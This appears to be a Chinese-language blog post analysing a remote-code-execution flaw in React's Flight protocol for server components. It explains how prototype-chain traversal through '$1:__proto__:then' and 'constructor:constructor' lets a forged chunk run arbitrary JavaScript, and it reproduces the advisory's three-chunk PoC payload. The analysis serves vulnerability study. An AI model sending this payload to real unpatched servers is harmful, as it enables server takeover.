参考
React Flight Protocol (RFC)
分块的前后端通讯协议,不过可以使用特殊的标记:
| Expression | Value |
|---|---|
$0, $1… | Refers to the value of another chunk |
$1:foo:bar | Refers to a property of another chunk. Here, it is chunk1.value.foo.bar |
$Q1 | Creates a Map instance from another chunk. Here, it is new Map(chunk1.value) |
$@1 | Refers to the chunk instance, rather than the chunk value |
$B | Refers to blob (binary) data |
$F | Refers to an exported value of an already loaded module |
这个主要在react/packages/react-server/src/ReactFlightReplyServer.js:916的function parseModelString函数里,这是一个巨长的switch状态机,
分析
找个有缺陷的源码,https://github.com/react/react/security/advisories/GHSA-fv66-9v8q-g76r
The vulnerability is present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack这几个react-server-dom-*似乎PoC还不一样,先用最基础的webpack看看。
git clone -b v19.2.0 https://github.com/facebook/react.git --depth 1Okay直接来看PoC吧:
Chunk 0
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then":"$B1337"}', "_response": { "_prefix": "<any Javascript code>", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } }}Chunk 1
"$@0"Chunk 2
[]这个Chunk 0实际上是个假的Chunk,目标是Chunk1在$@0的时候自动解包,实现可控Chunk的效果。之前提到,$@<id>是Promise引用,他会返回Chunk本身。(如果是$<id>,则返回的是chunk的.value)
$1:foo:bar表达式存在原型链污染,危险的属性也能被遍历穿透。
react/packages/react-client/src/ReactFlightClient.js:1920:2019
let value = chunk.value; for (let i = 1; i < path.length; i++) { value = value[path[i]]; }如果传入的是"then": "$1:__proto__:then",那么实际上能污染Chunk的then方法(Chunk.prototype.then)。正常应该是什么?比如传入$1:name,那么会变成chunk1.name;但是如果传入$1:__proto__:then,那么会发生三次循环,第一次value = chunk1,第二次value = chunk1.__proto__,也就是value = Chunk.prototype,第三轮value = Chunk.prototype.then,此时value就已经变成了Chunk原型链上的then方法。由于Chunk 2是$@0,这会让chunk1.value = chunk0,所以chunk1.value.then = Chunk.prototype.then。
这时又涉及到JavaScript中另一个特性:当resolve(value)的value是Promise或Thenable时,Promise会自动”解包”它。具体来说,JavaScript会调用该Promise的.then()方法,递归地等待其完成,直到得到一个非Promise的值。这意味着,当上一个 then 返回的是普通数据时,JavaScript将其直接交给下一个 then方法;当上一个then返回的是一个Promise时,JavaScript会自动解包这个Promise,将最终的结果值交给下一个then方法。
Flight第一次解析$@0获得的是真实的Chunk,将其传给resolve()时进行了第一次解包,解包后的value是攻击者构造的“假Chunk”。但JavaScript发现这个对象存在then方法,是一个Thenable对象,由于递归机制的存在,于是会继续对这个对象进行解包。
第二次解包时,Chunk就完全变成了用户控制的对象,这里就开始混淆了数据和逻辑对象,最终导致了漏洞。总结来说,React Flight在解析用户输入的时候,混淆了数据和Chunk对象,导致攻击者可以伪造Chunk对象,接着利用后续的逻辑造成任意代码执行。
利用
ReactFlightReplyServer.js#L1059-L1068
case 'B': { // Blob const id = parseInt(value.slice(2), 16); const prefix = response._prefix; const blobKey = prefix + id; // We should have this backingEntry in the store already because we emitted // it before referencing it. It should be a Blob. const backingEntry: Blob = (response._formData.get(blobKey): any); return backingEntry; }这里的id虽然可控但不可用,他只是数字。但是response是可控的(Chunk 0里伪造了这个Chunk)。只要让response._formData.get变成一个恶意函数,比如eval,而response._prefix是恶意代码即可。
在JavaScript中,某个对象的.constructor 属性是这个对象的构造函数,而.constructor.constructor就是这个对象的构造函数的构造函数,而任何函数的构造函数都是Function。
// 立刻弹窗eval('alert(1)')
// f调用后才会弹窗var f = Function('alert(1)')f()
// xx.constructor.constructor()也一样var f = {}.constructor.constructor('alert(1)')f()Function和eval类似,只不过它其中的代码不是立刻执行,而是需要再次调用才能执行,所以,$B1337的返回值最后被控制成chunk1.constructor.constructor('<any Javascript code>'),这是一个函数,将这个函数赋值给then属性后,在下一次resolve()的时候触发,最终完成任意代码执行。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









